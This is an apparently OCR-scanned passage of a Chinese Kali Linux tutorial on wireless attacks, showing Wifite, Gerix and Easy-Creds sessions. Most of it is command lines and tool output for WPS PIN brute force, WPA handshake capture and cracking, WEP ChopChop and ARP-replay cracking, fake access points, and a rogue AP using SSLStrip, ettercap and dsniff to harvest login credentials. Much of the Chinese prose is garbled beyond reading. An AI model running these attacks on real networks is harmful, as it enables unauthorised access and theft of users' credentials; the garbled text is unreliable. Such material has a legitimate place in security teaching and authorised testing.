
[+] Switching mon0 to channel 5

[+] Switching mon0 to channel 6

[+] Switching mon0 to channel 7

[+] Associated with 8C:21:0A:44:09:F8 (ESSID: yztxty)
[+] Trying pin 12345670

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received WSC NACK

[+] Sending WSC NACK

MEL B4 AT b, W LA B S R B 14.E6:E4:ACTFB:20 TR tH AR 115 5 .
J¢ B ol % 3% PIN 5 B, FRIUEEMD.

I REAT AT TR WPS 3%, #os Il bR ifE 2.

[1] WARNING: Failed to associate with 14:E6:E4:AC:FB:20 (ESSID: XXXX)

Fern WiFi Cracker j¢& MEFE AR L, HRINGATCZ M8 4. a2 4aid
FRZ TR, Hoah Wi-Fi 5. IX 0L E 56/ 4448 ] Fern WiFi Cracker T H Rt WPS.
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(3260 9-2) {41 Wifite Heils WPS. EARERAE G IRW R FTs.

(1) fA3h Wifite TH, JHEEM T common.txt %5607 8. 7 Ay 447 A7 B iz
1T 2

root@kali:~# wifite -dict common.txt

PATLL Edr 2 n, SRR RS R

N
ag "

S0 ., WiFite v2 (r85)
- ,:1 () ”: ”:: automated wireless auditor
T A WA
ot I\ ;' designed for Linux
" / \ i
/ \

[+] WPA dictionary set to common.txt

[+] scanning for wireless devices...
[#] initializing scan (mon0), updates at 5 sec intervals, CTRL+C when ready.
[0:00:14] scanning wireless networks. 0 targets and 1 client found

PLEAEZE7R T WiFite THRPRAGE, fiFE, JFHLIFmaARigme. S350
A AAR A TCEL 2RI, 4% CTRL+C 4] A8 45 th 4.
(2) fFIEFIHICERINGS, K on i T Brs 5 R -

[+] scanning (mon0), updates at 5 sec intervals, CTRL+C when ready.

NUM ESSID CH ENCR POWER WPS? CLIENT
1 yzty 11 WPA2 65db wps
2 Test 1 WPA2 52db wps
3 CMCC-AUTO 1 WPA2  29db no
4 CMCC-LIU 6 WPA2 28db wps
5 TP-LINK_D7118A 1 WPA2  -13db wps clients

[0:00:37] scanning wireless networks. 5 targets and 3 clients found
[+] checking for WPS compatibility... done

NUM ESSID CH ENCR POWER WPS? CLIENT
1 yzty 11 WPA2 65db wps
2 Test 1 WPA2 52db wps
3 CMCC-AUTO 1 WPA2  29db no
4 CMCC-LIU 6 WPA2 28db wps
5 TP-LINK_D7118A 1 WPA2  -13db wps clients

[+] select target numbers (1-5) separated by commas, or 'all":

ML S5 B, nTRUE B30 2 LoD OB A sl = AN o 7R A5 S
IR T T H e IPRRARTEIEA G5 ESSID . A5IE, i, i, AT
Jd wps FlZE) . MR R EEZ PSR, W) CLIENT 5127552 client.
WERA 2R IERL N, WS clients.,

(3) el EFEBCHNELIEN R X REFER LD B EA L, A “17 .« A&
Jrdg SR T ar B0l S F LR s

[+] select target numbers (1-5) separated by commas, or ‘all': 1
[+] 1 target selected.
[0:00:00] initializing WPS PIN attack on yzty (EC:17:2F:46:70:BA)
[0:11:00] WPS attack, 0/0 success/ttl,
[1] unable to complete successful try in 660 seconds
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[+] skipping yzty
[0:08:20] starting wpa handshake capture on "yzty"
[0:08:11] new client found: 18:DC:56:F0:62:AF
[0:08:09] listening for handshake...
[0:00:11] handshake captured! saved as "hs/yzty EC-17-2F-46-70-BA.cap"
[+] 2 attacks completed:
[+] 1/2 WPA attacks succeeded
yzty (EC:17:2F:46:70:BA) handshake captured
saved as hs/yzty EC-17-2F-46-70-BA.cap

[+] starting WPA cracker on 1 handshake
[0:00:00] cracking yzty with aircrack-ng
[+] cracked yzty (EC:17:2F:46:70:BA)!
[+] key: "huolongs"

[*+] quitting

M A5 B, o] LU B vzty Jo2k i & 1955 64 4 huolong5 .
9.3 Gerix Wifi Cracker 2% fif 2%, ™ %

Gerix Wifl Cracker & 7> aircrack E[JEH 7 FHENTITo 26 & il iR 1T 5 . A5 R 44
AF % 1 FLR R e 2 X 2% 61 S AR 1P e N 0

9.3.1 Gerix #ifi# WEP jin% 8% Jc 2 M 2%

TERTTH A28 T Fa4EH Airerack-ng filifif WEP fll WPA/WPA2 JI# 1&g, h [
T, AP B Gerix T H Hahth B L4 M 4% . fii ] Gerix 2y WEP N 17
2z, FAREAE D BRI RN,

(1) F#k Gerix B, $ATAT AW F FrR:

root@kali~# wget https://bitbucket.org/SKin36/gerix-wifi-cracker-pyqtd/ downloads/gerix-wifi-
cracker-master.rar

--2014-05-13 09:50:38-- https://bitbucket.org/SKin36/gerix-wifi- cracker- pygt4/downloads/gerix-
wifi-cracker-master.rar

IEFEfRHTEHL bitbucket org (bitbucket.org)... 131.103.20.167, 131.103.20.168

IE7E % bitbucket.org (bitbucket.org)|131.103.20.167|:443... B,

B& M HTTP ifXK, EAEZFFFEIE... 302 FOUND

{iL & : http://cdn bitbucket.org/Skin36/gerix-wifi-cracker-pyqt4/downloads/ gerix-wifi-cracker-master.
rar [BRFEZFTRY URL]

--2014-05-13 09:50:40--  http://cdn.bitbucket.org/Skin36/gerix-wifi- cracker-pygt4/downloads/
gerix-wifi-cracker-master.rar

IE# B4 £ 41 cdnbitbucket.org (cdn.bitbucket.org)... 54.230.65.88, 216.137. 55.19, 54.230.
67.250, ...

IE7E#%EHE cdn.bitbucket.org (cdn.bitbucket.org)|54.230.65.88:80... B&#E.

B4 HTTP ik, EFAZFFER... 200 OK

& 87525 (85K) [binary/octet-stream]

EHERTFE: “gerix-wifi-cracker-master.rar”

100%[=== ==== ==== ==>] 87,525 177K/s FE 0.5s
2014-05-13 09:50:41 (177 KB/s) - B{&7F “gerix-wifi-cracker-master.rar” [87525/87525])

M 45 Ja] LG #) gerix-wifi-cracker-master.rar 3C{F UL FER5EMG JTHARAFAE /T H
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FF.
(2) fifJE Gerix HAFRL. HATAr-AUI FHR:

root@kali:~# unrar x gerix-wifi-cracker-master.rar

UNRAR 4.10 freeware Copyright (c) 1993-2012 Alexander Roshal
Extracting from gerix-wifi-cracker-master.rar

Creating gerix-wifi-cracker-master OK
Extracting gerix-wifi-cracker-master/fCHANGELOG OK
Extracting gerix-wifi-cracker-master/gerix.png OK
Extracting gerix-wifi-cracker-master/gerix_py OK
Extracting gerix-wifi-cracker-master/gerix.ui OK
Extracting gerix-wifi-cracker-master/gerix.ui.h OK
Extracting gerix-wifi-cracker-master/gerix_config.py OK
Extracting gerix-wifi-cracker-master/gerix_config.pyc OK
Extracting gerix-wifi-cracker-master/gerix_gui.py OK
Extracting gerix-wifi-cracker-master/gerix_gui.pyc OK
Extracting gerix-wifi-cracker-master/gerix_wifi_cracker.png OK
Extracting gerix-wifi-cracker-master/Makefile OK
Extracting gerix-wifi-cracker-master/README OK
Extracting gerix-wifi-cracker-master/README-DEV OK
All OK

PLEAm i N2 R T L Gerix BATRIAIE R . Mizidfrhnl LUR 2], f# 1 B Rr
A B AR

(3) N T HEEHE, B IE ) gerix-wifi-cracker-masger [ 563 Linux 244 — 1)
H %/usr/share Ho $hAT fir >0 K s

root@kali:~# mv gerix-wifi-cracker-master /usr/share/gerix-wifi-cracker

AT L E i Ja AT AR A5 B

(4) UMHF| Gerix Fr{EMAE, FF/EZ) Gerix L H . AT a1 K Fros:

root@kali:~# cd /usr/share/gerix-wifi-cracker/
root@kali:/usr/share/gerix-wifi-cracker# python gerix.py

HATLA B2 i, K Em i 9.16 Frasir AL .

Gerix wifi cracker [ _ 0| x

~ 7
BN

Gerix racker

Helle and Welcome!
Gerix Wifi Cracker is a GUI that can help you to work in Wireless 802.11 Penetration Test.
Created by Emanuele “emgent” Gentili and Emanuele “crosshower ™ Acri from Gerix. IT com

enloy!

08:51:41 - database reloaded: froot/.gerix-wii-cracker/key-database.db [Success]

Gerix r.2nas.

B 9.16 Gerix o 3 F i
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(5) MiZFE A LUE 2 Gerix Hi 2 CUm#0k L. dhit, b1 E] Configuration
IR F, KR 917 Bros i Ftim .

Gerix wifi cracker 'Eu

Welcome | Configuration | WEP | WPA | Fake AP | Cracking | Database | Credits |

Directory for session files (Logs, .cap, ...):

/root/.gerix-wifi-cracker/ ] [ Clean old session files

Select the interface:

! Interfece | MAC ! Chipset | Driver ! Mode |

l%wlanl 00:c1:40:7... |Ralink RT28... rt2800usb .. Managed

Reload wireless interfaces I [ Set random MAC address J i Enable/Disable Monitor Mode

Select the target network:

Essid Bssid | Channel Signal Enc

Channel: |all channels C] Seconds: [10 ‘:J [ Rescan networks

(] [T

14:02:37 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]

Gerix T2z,

Pl 9.17  HLABE Fiif
(6) MizFtmv] LLE S N A — ek 0. Frbl, IS — s . 7Rk
FEHEL wlanl, 45 Enable/Disable Monitor Mode %81, ¥4 57~ 9.18 Arz~ ) FL i -
Gerix wifi cracker HEE

Welcome | Configuration | WEP WPA | Fake AP | Cracking | Database | Credits |

Directory for session files {logs, .cap, ...):

/root/.qgerix-wifi-cracker/ ] [ Clean old session files

Select the interface:

| Interfece | MAC | Chipset | Driver | Mode |

| |
1 wlanl 00:c1:40:7... Ralink RT28... |rt2800usb ... |Managed

MOO:CIAO:?... 'Ralink RT28... .rtZSOOusb ... |Monitor

[ Reload wireless interfaces ] l Set random MAC address ] l Enable/Disable Monitor Mode

Select the target network:

Essid ‘ Bssid Channel . Signal Enc |

Channel: |all channels| Cl Seconds: [10 ‘%J [ Rescan networks

a I [T>)

14:11:45 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]
14:11:56 - Monitor on: wlanl [Success]

Gerix m.arms.

€ 9.18 J3zh wlanl b Winr 5=
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() WS T 0] LG #1) wlanl JE0 S 2000 WX i FUPRIZ$E mon0, 7F Select
the target network 51l Rescan networks %%, W= {9 FH U1 9.19 B,

| Gerix wifi cracker EEE

Welcome | Configuration [WEP I WPA IFakeAP | Cracking IDal:abase { Cre:il:s}

Directory for session files (logs, .cap, ...):

/routs.gerix-wifi-cracker/ ]

Clean old session files

Select the interface:

Interfece MAC Chipset Driver Mode

1/ wlan1 00:¢1:40:7... |Ralink RT28... |rt2800usb ... Managed
EMOO:CI:‘IO 7. |Ralink RT28... |rt2800usb ... Monitor

[ Reload wireless interfaces ] l Set random MA C address | | Enable/Disable Manitor Mode

Select the target network:

Essid Bssid | Channel Signal | Enc 4
12 \yztxty |8C:2L10A4... |6 -38 |WPAZWPA...
MIE):E&EMRH 1 -33 | WEF WEF
Channel: |all channels| C] Seconds: Il(! |%l [ Rescan networks

& 1 T>)

12:52:55 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]
12:53:13 - Monitor on: wlanl [Success]
12:53:31 - rescan networks [Success]

Gerix .25,

P4 919  HFEERI ML

(8) MNiZ TR Al LA B4 4 B I 1K I A ok I 2% . Al Hh e $R By WEP & [
ez, IXHLUEFE Essid i Test [0 %, SRJ54 BRI 2] WEP 15+, W& 9.20
B

| Gerix wifi cracker Tmﬁ

Welcome | Canfiguration | WEP | WPA I Fake AP I Cracking

Databasa | Credits
Welcome in WEP Attacks Control Panel

General functionalities

WEP Attacks (no-client)

WEP Attacks {with clients)

WEP Attack (with clients, in Access Point and Ad-Hoc mode)

Caffe-Latte attack in access point mode

[ Start Caffe-Latte attack I

Hirte attack in access point mode

[ Start Hirte attack I

Hirte attack in ad-hoc mode

[ Start Hirte attack I

14:11:45 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]
14:11:56 - Monitor on: wlanl [Success]

Gerix Ir.2uas.

€920 WEPE
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|

(9) iZFmH kA E WEP fH2¢{5 B i General functionalities #7%, 14
921 A=) A -

N

25|

o~

Gerix wifi cracker I

| Welcome | Configuration | WEP | WPA | Fake AP | Cra(l-ung| Database | Credits |

Welcome in WEP Attacks Control Panel

Ceneral functionalities

Functionalities

| Start Sniffing and Logging |

Tests

| Performs a test of injection AP |

WEP Attacks (no-client)
WEP Attacks (with clients)

WEP Attack (with clients, in Access Point and Ad-Hoc mode)

12:52:55 - database reloaded: /root/. gerix-wifi-cracker/key-database.db [Success]
12:53:13 - Monitor on: wlanl [5t s
12:53:31 - rescan networks [Suc

Gerixmasss.

P9 9.21 General functionalities 7]

(1001 5 7R T WEP [ Zdi 777« 7212 5 1 1Y) Functionalities |, #.11j Start Sniffing
and Logging %51, Ff Wbos WP 9.22 Bz i) S .
(1D iZFmdor 15 Test el L4k AP, RJ7ERE 921 rhiid; WEP Attacks

(no-client) #y4, 4§ WonifE 9.23 ATz FLif

Gerix wifi cracker | - [0 | X

‘Welcome [ Canfiguration | WEP | WPA ‘ Fake AP ‘ Cracking = Database | Credits |

Welcome in WEP Attacks Control Panel
General functionalities

WEP Attacks (no-client)

ChopChop attack

Start false access point Authentication an victim

Create the ARP packet to be injected on the victim access paint

\ |
‘ Start the ChopChop attack |
\ |
\ |

Inject the created packet on victim access point

Fragmentation attack

‘ Associate with AP using fake auth I

WEP Attacks (with clients)

WEFP Attack (with clients, in Access Point and Ad-Hoc mode)

13:02:17 - datsbase reloaded: /root/.gerix-wifi-crackerfkey-database.db [Success] 3
13:02:36 - rescan networks [Success) i
13:03:47 - Sniffing and logging started with mon0

13:03:56 - WFP: Iniection test with manQ ]

Gerix Ir.aamas.

922 4higR Lk AP € 9.23 ChopChop attack
(12) 7F1% 51 s Start false access point Authentication on victim %4, ¥ 1T {7 ffi H
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5. SRS Ly Start the ChopChop attack %4, Kf {27~ U 9.24 B .
(13) iSRRI AR R . AR B2k AP I, #f 57~ Use this packet?. it
N y BT AR, ERe %8 cap CF, W1 9.25 .

bash -c "aireplay-ng -4 —h 08:10:77:0A:53:43 mon! |
) 3 0 f e

I
bash =c "aireplay-ng =4 ~h 00:C1:40:76:05:6Cmon | | -l

B 9.24  HhiFkmEEE A 925 A pficap

(14) Mz ) LG SR 38 31 1 2 6 0R A7 21 replay_dec-0514-162307.cap {7,
R TR R AT . fEP 9.25 H, ATRES B ANPE 9.26 FT s 5.

[ ! I I
bash —c "aireplay-ng -4 -h 00:C1:40:76:05:6C mon | — = [

] 9.26 ChopChop attack i

ML BT IRE, IR M k. AR TER 9.23 KK LT Create the ARP
packet to be injected on the victim access point 1 Inject the created packet on victim access

point {1, FFTIFUNIE 9.27 B ) 51

output_FORGED monO; read

K927 REMAZERL
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(15) TE1ZF W[4 /£ 15 Use this packet?. 7F Use this packet? Jo#iA y, H§ K2 AHTEL
B MR BE RIA S 2 J7i, B Cracking MM, % Won WP 9.28 Fias i) ALl -

Gerix wifi cracker de

Welcome l Configuration l WEP [ WPA | Fake AP | Cracking | Database [ Credits |

Welcome in Cracking Control Panel
WEP cracking

WPA bruteforce cracking
WPA rainbow tables cracking

Rainbow Tables cracking

(Get rainbow tables from http://www.renderlab.net/projects/WPA-tables/ )
Add your rainbow tables file:

[/rcmt

I Crack the password with coWPAtty and Rainbow Tables J

14:11:45 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success)
14:11:56 - Monitor on: wlanl [Success]

14:25:11 - rescan networks [Success]

Gerix Itz

security solutions

928 IdiAm

(16) FE1Z YL i WEP cracking, J 0118 9.29 Fros i) S

Gerix wifi cracker uﬂl’:ﬂ

Welcome | Configuration | WEP | WPA | Fake AP

Cracking

Database | Credits |

Welcome in Cracking Control Panel
WEP cracking

Normal cracking

‘When you have encugth packets (>5000) you can try to decrypt the password.

Aircrack-ng - Decrypt WEP password

‘WPA bruteforce cracking

WPA rainbow tables cracking

13:12:36 - Cracking WEP with aircrack launched {remember to save database’s changes)
13:13:45 - Fragmentation attack: Inject arp packet with monO
13:14:14 - Fragmentation attack: ARP packet created

13:14:34 - Cracking WEP with aircrack launched (remember to save database’s changes)

Gerix Ir.a:ms.

929 it WEP %15

(17) {EiZFt 85 Aircrack-ng-Decrypt WEP password &4, 4 2x 1 9.30 iRl
ﬁﬁ o

(18) Wiz FH vl LA 210 WEP I L IRl 3 73 28 Fbo LU A Hul &
7920105 B, $RF] EAL, HERDY abede,
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aircrack=-log.txt; read; "

Aircrack-ng 1,2 beta2

{930 fEARSE R

032 {FH Gerix fIZBRIYEANS

1] Gerix T H-nJ LLEIEEAE L —MEAEA R (AP) o E—
(7L DR Wi 0 b g TP R 6 g 1 K AV NG (W E G R R S K T TR R S G E 2 7N D I 2
%&J\)ﬁ,, WS LUPR I R 7 A8 A L 1 BB B A AT M 4. NN ZH L WEP I L

2 /25 ], B AN S .
i1 Gerix I H AN A S . HAREAE DRI TR
(1) JHizh Gerix T H. $ATAr2 W FHrR:

root@kali:/usr/share/gerix-wifi-cracker# python gerix.py

(2) 17]4: 3| Configuration JEI | . 75 1% 7 ML FF L4511, Bl Enable/Disable Monitor

Mode %5 . GV S #E JH 8l 5, i Select Target Network [ Rescan Networks

il

(3) EFHBIHIATA M S,

Wontn B 931 B i .

* 290 -

Gerix wifi cracker

‘Weltame Configuration | WEP VUPA Fake AP|| Cracking | Database Credits |

Welcome in Fake Access Point Control Panel

Creata Fake AP
Access point ESSID;

lhuneyput

Access point channel:

[12
Cryptography tags Key in Hex (Ex. aabbceddee) or Empty: |2
O WEP ® None O WPA O WPAZ [
WPA/WPAZ types
® WEP4C C TKIP O WRAP O ccMP O WEPL
Optians

[ AdHoc mode [ Hiddan SSID [ Disable broadeast probes [ Respond te all m

i ul

3]

HPE WEP W (f) /% . K )5 8l Fake AP %

17:24:49 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]

Gerix .2z,

1 9.31 Fake AP #1f

MBI ), TR




9 F JE MR EEN A

(4) Mz S LG BIEGA R #2 AN 5 ESSID 4 honeypot. JL7EH; honeypot 15244
personalnetwork, [A]FFRF BCeli () 2642 11 1Y channel tHEHME M. &5 W 932 Fiow.

Gerix wifi cracker
|Wal:urne ‘ Configuration | WEP | WPA | Fake AP | Cracking ‘ Database ‘ Credits |

Welcome in Fake Access Point Control Panel

Create Fake AP

Ipersanalnetwork

Access point channel: ml

[

Cryptography tags Key in Hex (Ex. aabbccddee) or Empty:

] WEP @ None O WPA O WPAZ2 T
WPA/WPA types 4
® WEP40 O TKIP O WRAP O ccMP O WEP1

Options
[] AdHoc mode [] Hidden SSID [ Disable broadcast probes [ Respond to all

Start Fake Access Point

@ m [ D]
13:19:52 - Cracking WEP with aircrack launched (remember to save database's changes)
13:25:52 - Cracking WEP with aircrack launched (remember to save database's changes)
13:49:50 - Cracking WEP with aircrack launched (remember to save database's changes)
13:52:17 - Cracking WEP with aircrack launched (remember to save database's changes)

Ge rix IT m:uiryfo:mons

€932 {i]# Fake AP

(5) DAEARwE G, HAMACE RFFEVABCE . SR80 i Start Fake Access Point §%

Hl, $4 s 9.33 B FL .

\
bash -c "airbase-ng —e personalnetwork —-c 1 -w aab 0 | X |

933 HahfEAA

(6) 447 H] J % 26 £ ) personalnetwork AP I, 1% FLH <3440 KT R .
17:32:34 Client 18:DC:56:F0:62:AF associated(WEP) to ESSID: "personalnetwork”

PL R EZFn, MAC Hilik 18:DC:56:F0:62:AF 1] AP |I- {1 3% % personalnetwork .
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9.4 A% J] Wifite & L& M 24

— BERY i o 2 N 265 R A& A Adrerack-ng T B4R, JRERIN T — AN B0 Ft i sl A Y SCA
SR ITE AR AR JC e I 2% o IXAERG P BT Ay, T AT Bl AT ar . A
TG A HE A A 4T T H Wifite, SR IF U R M &% .

(1) fizh wifite. ST Air-&U1H FrR:

root@kali:~# wifite

=l ”

S0 Y 5 WiFite v2 (r85)
() : = = automated wireless auditor
DO ) WA
D [\ ;" designed for Linux
" / \ !
/ \

[+] scanning for wireless devices...
[+] enabling monitor mode on wlan0... done
[+] initializing scan (mon0), updates at 5 sec intervals, CTRL+C when ready.
[0:00:03] scanning wireless networks. 0 targets and 0 clients found

(2) AR %, 5 B N TR i1 R
NUM ESSID CH ENCR POWER WPS? CLIENT

1 yzty 1 WPA2 59db wps client
Test WEP 51db wps client

3 TP-LINK_D7118A WPA2 35db  wps

4 CMCC-AUTO WPA2 34db no
5 CMCC-AUTO WPA2 32db no client
6 CMCC-AUTO 1 WPA2 29db no
7
8
9

1

1

1

1

1

1

TP-LINK_1C20FA 6 WPA2 28db wps
CMCC-AUTO 11 WPA2 28db no
CMCC-AUTO 6 WPA2 28db no
10 CMCC-LIU 6 WPA2 28db wps
11 TP-LINK_ZLICE 9 WPA2 27db wps
12 CMCC-AUTO 6 WPA2 27db no client
13 Tenda_462950 4 WPA 26db no
[+] select target numbers (1-13) separated by commas, or ‘all':

ML EAR R, nTEUE B33 13 DA R
(3) IEFEICLM H e XHIEFES D ELIA L, ERMAH WEP U, B
LL, Mzt B ki, R BoR:

[+] select target numbers (1-13) separated by commas, or 'all': 2
[+] 1 target selected.
[0:10:00] preparing attack "Test" (14:E6:E4:AC:FB:20)
[0:10:00] attempting fake authentication (5/5)... failed
[0:10:00] attacking "Test" via arp-replay attack
[0:09:06] started cracking (over 10000 ivs)
[0:09:00] captured 12492 ivs @ 418 iv/sec
[0:09:00] cracked Test (14:E6:E4:AC:FB:20)! key: "6162636465"
[+] 1 attack completed:
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[+] 1/1 WEP attacks succeeded
cracked Test (14:E6:E4:AC:FB:20), key: "6162636465"

[+] disabling monitor mode on mon0... done
[+] quitting

MEL F4 (5 B, vl LU BB R ) . Horh, Test Jokiie N sl #6% /2 6162636465,
9.5 1% 8 Easy-Creds T B30 L& N 4

Easy-Creds J& — /M3 T H . & THARVF- P ITT—egkk -+, JFaeseim
— NG R UGV & . Easy-Creds n] RAGUEE—ANEG U7 o) s, IFAE —A>h 1Al Aot
RRIaAT, BEMTZA P B i R 2 5 . el AT LA SSL i B PR S o A
¥4 2344 H] Easy-Creds T. LI L2k 45 .

Easy-Creds J& BackTrack5 " Y—&4;. 7F Kali ), ERIAZA 2314 T H. Brbl, F4
542 Easy-Creds | H. A o[ ffi .

[32f] 9-3) ‘&3 Easy-Creds | Hl. FLAKEED LT iR,

(1) M https://github.com/bravOhax/easy-creds ¥ v 4 Easy-Creds £ {0, HE&K{F0 4
4 easy-creds-master.zip.

(2) I PR . TS R R:

root@localhost:~# unzip easy-creds-master.zip
Archive: easy-creds-master.zip
bfof00c08b1e26d8ff44ef27c7bcf59d3122ebece
creating: easy-creds-master/
inflating: easy-creds-master/README
inflating: easy-creds-master/definitions.sslstrip
inflating: easy-creds-master/easy-creds.sh
inflating: easy-creds-master/installer.sh

Mg s S, ol LLE $I] Easy-Creds {40 45 1 3 easy-creds-master L. M
LLEAE A, ol LA $I7E easy-creds-master U147 installer.sh S0, % 34t /2 H
>k ‘4% Easy-Creds 0 fFEL1 .

(3) %% Easy-Creds 4. /£ 2%% Easy-Creds S 02 A, 17— Lot 75 2 s,
TREEA I, AT LA 22 easy-creds-master SCfH (1] README U4 A OC ML . SR8 )5
47%4% Easy-Creds fl. $hi7dr2 U FFrR:

root@kali:~# cd easy-creds/

root@kali:~/easy-creds# ./installer.sh

lle [a {l1s [y III- [lle [lir ile [lid [fis |l
| || | o |

Version 3.7 - Garden of Your Mind
Installer
Please choose your OS to install easy-creds
Debian/Ubuntu and derivatives
Red Hat or Fedora
Microsoft Windows
Exit

e
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Choice:

PLEFEVER T, 4% easy-creds [F#:4F REEH..
(4) X HLkFE2 %5 3 Debian/Ubuntu, A% 1, 8800 F IR {5 B

Choice: 1

Ile [lla Ills Hy - lle 1l e [1id [lis |
| | |
N NN NN

Version 3.7 - Garden of Your Mind
Installer
Please provide the path you'd like to place the easy-creds folder. [/opt] :
HAFRRERME, FEIPERRARE
[#] Installing pre-reqs for Debian/Ubuntu...
[*] Running 'updatedb’
[-] cmake is not installed, will attempt to install...
[+] cmake was successfully installed from the repository.
[+] | found gcc installed on your system
[+] | found g++ installed on your system
[+] | found subversion installed on your system
[+] | found wget installed on your system
[+] | found libssl-dev installed on your system
[+] | found libpcap0.8 installed on your system
[+] | found libpcap0.8-dev installed on your system
[+] | found libssl-dev installed on your system
[+] | found aircrack-ng installed on your system
[+] | found xterm installed on your system
[+] | found sslstrip installed on your system
[+] | found ettercap installed on your system
[+] | found hamster installed on your system
[-] ferret is not installed, will attempt to install...
[*] Downloading and installing ferret from SVN

make[4]: Leaving directory “/tmp/ec-install/freeradius-server-2.1.11/doc/rfc'
make[3]: Leaving directory “/tmp/ec-install/freeradius-server-2.1.11/doc’
make[2]: Leaving directory “/tmp/ec-install/freeradius-server-2.1.11/doc’
make[1]: Leaving directory ‘/tmp/ec-install/freeradius-server-2.1.11"

[+] The patched freeradius server has been installed

[+] | found asleap installed on your system

[+] | found metasploit installed on your system

[*] Running 'updatedb’ again because we installed some new stuff

...happy hunting!

LL A B 7 T 223% Easy-Creds S TFEAM LR . 7RiZid firh, 4Gl easy-creds fY 4K
AL A e W B AT eds, i fh et Easy-Creds RPFRVZREHG,
% 7% happy hunting ! {5 ..

[3219-4) {1l Easy-Creds T H AL L M % . HARPRAEL IR FArs.

(1) JA3) Easy-Creds [ H. HATAH 2 W F R:

root@localhost:~/easy-creds-master#./easy-creds.sh

Ile I[a {lls [y [1I- lle [lir lle 1lid [fs |l

LI,_III_III_III_II || |

Version 3.8-dev - Garden of New Jersey
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At any time, ctrl+c to cancel and return to the main menu
Prerequisites & Configurations

Poisoning Attacks

FakeAP Attacks

Data Review

Exit

. Quit current poisoning session

Choice:

PL_E 45 S k7R T Basy-Creds T B2 .
(2) IXHIEFEDY AP Zily, A% T 3. R FRoRifE R
Choice: 3

Dl Colar =

L0

Ile [lla lls [lly 1lI- lle 1l flle {lid [{ls ||

”_III_III_III_III_III_III_III_III_III_II
Version 3.8-dev - Garden of New Jersey

At any time, citrl+c to cancel and return to the main menu

FakeAP Attack Static

FakeAP Attack EvilTwin

Karmetasploit Attack

FreeRadius Attack

DoS AP Options

. Previous Menu

Choice:

LL & AR BVBoR T O AP Beadal A8 Y () 7%
(3) AHIEFATH s AP B, BAZ 'S 1o K5 S5on T Fros 45 K
Choice: 1

ezl

lle [a {lIs [y III- lle [lir ile [iid [fs |l

”_III_III_III_III_III_III_III_III_III_II
"~ Version 3.8-dev - Garden of ! NeWJeTsey
At any time, ctrl+c to cancel and return to the main menu

Would you like to include a sidejacking attack? [y/N]: N

HERREARDFNE
Network Interfaces:
eth0 00:0c:29:5f:34:4b IP:192.168.0.117
wlan0 00:c1:40:76:05:6¢
Interface connected to the internet (ex. eth0): eth0 i FEEEERED
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
Wireless interface name (ex. wlan0): wian0 #HigE L EOS
ESSID you would like your rogue AP to be called, example FreeWiFi: wian

#ig 8 ok AP @9 ESSID
Channel you would like to broadcast on: 4 #HigEEAMEE
[*] Your interface has now been placed in Monitor Mode
mon0 Ralink RT2870/3070 rt2800usb - [phy0]
Enter your monitor enabled interface name, (ex: mon0): mon0

#HgF TR REO A

Would you like to change your MAC address on the mon interface? [y/N]: N
#ERIEBUETEOR MAC Hthit

Enter your tunnel interface, example at0: at0 #ig EREREO

Do you have a dhcpd.conf file to use? [y/N]: N #2E1EH dhepd.conf 324

Network range for your tunneled interface, example 10.0.0.0/24: 10.0.0.0/24
#igEBEE ORI MEEE
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The following DNS server |Ps were found in your /etc/resolv.conf file:
<>192.168.0.1
Enter the IP address for the DNS server, example 8.8.8.8: 192.168.0.1 #i% 8 DNS JR5528
[*] Creating a dhcpd.conf to assign addresses to clients that connect to us.
[*] Launching Airbase with your settings.
[*] Configuring tunneled interface.
[*] Setting up iptables to handle traffic seen by the tunneled interface.
[*] Launching Tail.
[*] DHCP server starting on tunneled interface.

[ ok ] Starting ISC DHCP server: dhcpd.
[*] Launching SSLStrip...

[*] Launching ettercap, poisoning specified hosts.
[*] Configuring IP forwarding...

[¥] Launching URLSnarf...

[*] Launching Dsniff...

BESEL EIERG, B AsEs) SRR, UG, BT A AE D, W
%l 9.34 prr.

Airbase-NG - | 0O X

+F7] REQUEST 192,168,4,100
iF7] REQUEST 10.0,0.103

H
S
ki
ﬁ-m

DHCP: [34

DHCP: [10,0,0.
HTTP ¢ 131.253.
a:wsxmini.%
/blc-?ﬂﬁ?&ld 8

dsniff: listening on a

P934 A5 L

(4) SATH R Wifi AR, Basy-Creds K Ha)4 &) g0 ie > IP Huhk, JF
HLAEME Uy o) BIBCH o R AE BLPCR) U7 ) — A2 g Rk, 2 T HOREBR 25 SSL H-IHBR 2 4
%&3??3 li?To FITCL, REMS Lz MBI ) I 6 o SN Rl (R 7 2 AN i . ] 9.34
7~ iR B — AN 5% http://www live.com W35G (R 7 44 fE 65 . S 4004 test@live.com,
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Eh A qwert.
(5) I 7E Easy-Creds B TR EFREER KR, AH T 4, W FRTR:

At any time, ctrl+c to cancel and return to the main menu
Prerequisites & Configurations

Poisoning Attacks

FakeAP Attacks

Data Review

Exit

g. Quit current poisoning session

Choice: 4

(6) MEFAIKE G, Lo FArRrfE R

QA 2 M=

Ile flla lls [lly IlI- lle 1l flle {lid [{ls ||
o || | o |

Version 3.8-dev - Garden of New Jersey
At any time, ctrl+c to cancel and return to the main menu
1. Parse SSLStrip log for credentials
2. Parse dsniff file for credentials
3. Parse ettercap eci file for credentials
4. Parse freeradius attack file for credentials
5. Previous Menu
Choice: 3

PAEAR VR s 1l e 5 M ik
(7) IXHLILFEIIHT Ettercap eci 3 AF, FiAGw 5 3, FFum Wl FHRIE

lle Il {lIs [y Il [l [lir lle 1lid [fs ||
o || | o |

Version 3.8-dev - Garden of New Jersey
At any time, ctrl+c to cancel and return to the main menu
Ettercap logs in current log folder:
/root/easy-creds-master/easy-creds-2014-07-24-1722/ettercap2014-07-24-1724 .eci
Enter the full path to your ettercap.eci log file:

M A5 S, v LAE F Ettercap H & XA RAA A7 E
(8) 4N ettercap.eci H & SCMF ()4 A5 . I HE L5 LI I 42 61 R0 MG $L 418 1 dee A
Ettercap B 425t nl LL T . W A R:

Enter the full path to your ettercapeci log filez /root/easy-creds-master/
